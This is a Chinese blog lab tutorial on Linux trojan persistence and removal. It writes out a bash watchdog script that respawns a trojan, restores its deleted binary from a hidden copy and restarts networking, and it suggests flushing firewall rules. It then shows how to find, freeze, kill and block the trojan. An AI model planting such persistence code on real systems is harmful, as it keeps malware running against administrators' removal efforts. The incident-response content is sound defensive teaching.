Linux木马-木马父进程实时监控木马(二)

1.1 实验环境

序号 主机IP 主机系统 主机角色
1 192.168.10.180 Kali 攻击机
2 192.168.10.80 Centos 7.9 64位 被攻击机

1.2 生成木马父进程

1.2.1 木马父进程作用

生成木马的父进程,自动检测子进程,如果子进程被删除,父进程可以自动启动子进程,这就是Linux删除木马后木马自动又生成的原因。

1.2.2 编写木马父进程脚本

[root@test ~]# cp /usr/bin/muma /usr/wke
[root@test ~]# vim /bin/workstat
#!/bin/bash
while true
do
  a=`pgrep muma|wc -l`      # 统计当前系统运行了几个木马进程
# 如查木马进程数小于等于1,那么再启动一个子进程,这样可以保障最少有两个木马子进程在运行
  if [ $a -le 1 ];then
    /bin/cp /usr/wke /usr/bin/muma  # 防止子进程文件被删除
    /usr/bin/muma &
    # 防止管理员关闭外网,让木马主动启动网络和外面联系,也可以加上清空防火墙规则的命令
    service network restart
  fi
done
[root@test ~]# chmod +x /bin/workstat
[root@test ~]# /bin/workstat &

1.3 删除木马父进程

排查思路:需要先找到木马的父进程,把父进程删除,再把病毒的原体删除:

[root@test ~]# yum install -y psmisc
[root@test ~]# pstree | grep muma
        |-network---muma---sleep    # 查看父进程路径
        `-workstat-+-muma---sleep
[root@test ~]# ps -ef|grep workstat
root     19276     1  0 16:52          00:00:00 /bin/bash /bin/workstat
root     19717 19020  0 16:53 pts/0    00:00:00 grep --color=auto workstat
[root@test ~]# vim /bin/workstat        # 可以查看一下父进程内容
[root@test ~]# kill 19276
[root@test ~]# rm -f /bin/workstat  # 删除父进程
[root@test ~]# ps -ef|grep muma
root     19281     1  0 16:52          00:00:00 /bin/bash /usr/bin/muma
root     19307 19304  0 16:52          00:00:00 /bin/bash /usr/bin/muma
root     19928 19020  0 16:54 pts/0    00:00:00 grep --color=auto muma
[root@test ~]# kill 19281
[root@test ~]# kill 19307      
[root@test ~]# rm -f /usr/wke   # 删除父进程中调用的病原体

1.4 仅停止木马进程而不杀死

[root@test ~]# ps -ef|grep muma
root     20134 19020  0 17:02 pts/0    00:00:00 /bin/bash /usr/bin/muma
root     20151 19020  0 17:03 pts/0    00:00:00 grep --color=auto muma
[root@test ~]# top -p 20134 # S表示是sleep ,R表示正在运行,T表示停止
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
20134 root      20   0  113284   1392   1200 S   0.0  0.0   0:00.04 muma
# 让进程停止运行而不是杀掉,直接杀死进程会再产生新进程。这里把进程停止,让进程不在发挥攻击作用,然后再慢慢排查
[root@test ~]# kill -STOP 20134
[root@test ~]# top -p 20134
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
20134 root      20   0  113284   1396   1200 T   0.0  0.0   0:00.08 muma
[root@test ~]# pkill workstat
[root@test ~]# pkill muma

1.5 停止顽固木马执行

如果工作中发现某个木马程序不停的运行,可以利用扩展属性让木马程序没有可执行权限:

[root@test ~]# chmod 0000 /usr/bin/muma && chattr +i /usr/bin/muma

1.6 禁止服务器访问外网

[root@test ~]# systemctl start iptables
[root@test ~]# iptables -t filter -A OUTPUT -m state --state NEW -j DROP
[root@test ~]# ping www.baidu.com
ping: www.baidu.com: Name or service not known
温馨提示:本文最后更新于2022-12-20 20:57:33,已超过484天没有更新。某些文章具有时效性,若文章内容或图片资源有错误或已失效,请联系站长。谢谢!
转载请注明本文链接:https://blog.leonshadow.cn/763482/2870.html
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享